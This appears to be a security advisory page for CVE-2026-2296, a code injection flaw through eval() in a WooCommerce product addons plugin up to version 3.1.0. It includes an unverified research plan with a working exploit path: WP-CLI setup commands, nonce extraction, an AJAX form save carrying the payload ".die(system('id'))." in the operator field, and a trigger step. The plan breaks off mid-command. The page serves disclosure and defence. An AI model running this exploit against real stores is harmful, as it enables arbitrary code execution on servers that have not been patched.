CVE-2026-2296

Product Addons for Woocommerce – Product Options with Custom Fields <= 3.1.0 - Authenticated (Shop Manager+) Code Injection via Conditional Logic 'operator' Parameter

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
3.1.1
Patched in
1d
Time to patch

Description

The Product Addons for Woocommerce – Product Options with Custom Fields plugin for WordPress is vulnerable to Code Injection in all versions up to, and including, 3.1.0. This is due to insufficient input validation of the 'operator' field in conditional logic rules within the evalConditions() function, which passes unsanitized user input directly to PHP's eval() function. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject and execute arbitrary PHP code on the server via the conditional logic 'operator' parameter when saving addon form field rules.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.1.0
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026

What Changed in the Fix

Changes introduced in v3.1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-2296 - Code Injection in Product Addons for WooCommerce ## Vulnerability Summary The **Product Addons for Woocommerce – Product Options with Custom Fields** plugin (versions <= 3.1.0) is vulnerable to authenticated Code Injection via the `evalConditions()` function in `inc…

Show full research plan

Research Plan: CVE-2026-2296 - Code Injection in Product Addons for WooCommerce

Vulnerability Summary

The Product Addons for Woocommerce – Product Options with Custom Fields plugin (versions <= 3.1.0) is vulnerable to authenticated Code Injection via the evalConditions() function in includes/process/conditional-logic.php. The vulnerability exists because the $rule->operator and $relation->operator parameters, which are part of the conditional logic rules for form fields, are concatenated directly into a string that is subsequently executed via PHP's eval() function.

An attacker with Shop Manager or Administrator privileges can save a custom form containing malicious PHP code in the conditional logic operator. When the form is processed (e.g., when viewing a product assigned that form), the injected code is executed on the server.

Attack Vector Analysis

  • Vulnerable Endpoint: admin-ajax.php (for saving the form) and the frontend Product page (for triggering execution).
  • AJAX Action: wcpa_save_form (inferred from plugin architecture).
  • Vulnerable Parameter: The operator field within the relations / rules JSON structure of a form field.
  • Authentication: Required (Shop Manager or Administrator).
  • Preconditions:
    1. The attacker must create/edit a WCPA form.
    2. The form must be assigned to at least one active WooCommerce product.

Code Flow

  1. Source: A Shop Manager saves a form via an AJAX request. The operator parameter is stored in the database as part of the form's field configuration (likely in the wp_posts table under wcpa_pt_forms post type).
  2. Sink: includes/process/conditional-logic.php -> evalConditions($clRule, $relations)
  3. Execution Path:
    • evalConditions iterates through $relations.
    • For each $relation, it iterates through $relation->rules.
    • It builds a string $eval_str.
    • Inside the loop: $eval_str .= ') ' . (($rule->operator !== false) ? $rule->operator : '') . ' ';
    • A regex preg_match_all('/\(.*\)/', $eval_str, $match) is used to "clean" the string, but a greedy match .* allows injected code to remain if it is surrounded by parentheses or concatenated properly.
    • Finally: $result = eval('return ' . $eval_str . ';');

Nonce Acquisition Strategy

The WCPA admin interface uses a nonce for its AJAX operations.

  1. Identify Script: The nonce is typically localized in the wcpa_admin or wcpa_data object on the plugin's admin page.
  2. Page: /wp-admin/admin.php?page=wcpa-admin-ui
  3. Extraction:
    • Use browser_navigate to go to the WCPA UI.
    • Use browser_eval to extract the nonce: window.wcpa_admin?.nonce (or check for window.wcpa_local_vars?.nonce).
    • Note: The nonce action is usually linked to the AJAX save action.

Exploitation Strategy

Step 1: Create a Shop Manager and Product

Use WP-CLI to set up the environment.

wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
wp post create --post_type=product --post_title="Target Product" --post_status=publish

Step 2: Create a Malicious WCPA Form

We need to create a wcpa_pt_forms post and then use the AJAX endpoint to save its configuration with the payload.

  1. AJAX Request:

    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Body (URL-encoded):
      • action: wcpa_save_form
      • nonce: [EXTRACTED_NONCE]
      • form_json: A JSON string containing the field with the payload.
    • Payload Injection:
      The payload must break the boolean expression logic while remaining within the greedy regex match.
      operator: .die(system('id')).

    Example form_json structure:

    {
      "fields": [
        [
          {
            "type": "text",
            "label": "Exploit Field",
            "elementId": "field_1",
            "cl_rule": "show",
            "relations": [
              {
                "rules": [
                  {
                    "rules": {}, 
                    "operator": ".die(system('id'))."
                  },
                  {
                    "rules": {},
                    "operator": ""
                  }
                ],
                "operator": "and"
              }
            ]
          }
        ]
      ]
    }
    

    Note: eval_relation({}) returns true if no cl_field is specified, allowing the code path to reach the operator concatenation.

Step 3: Link Form to Product

Use WP-CLI to link the newly created form to the target product.

# Get the form ID from the previous step's response
# Link via meta (WCPA stores form IDs as a serialized array in _wcpa_product_meta)
wp post meta set [PRODUCT_ID] _wcpa_product_meta 'a:1:{i:0;s:[ID_LEN]:"[FORM_ID]";}'

Step 4: Trigger Execution

Navigate to the product page.

  • URL: http://localhost:8080/?p=[PRODUCT_ID]
  • Method: GET
  • Expected Response: The page should terminate immediately and display the output of the id command (e.g., uid=33(www-data)...) due to the die() in the payload.

Test Data Setup

  1. Target Product: wp post create --post_type=product --post_title="Victim Product" --post_status=publish
  2. Shop Manager User: `wp user create manager manager@

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.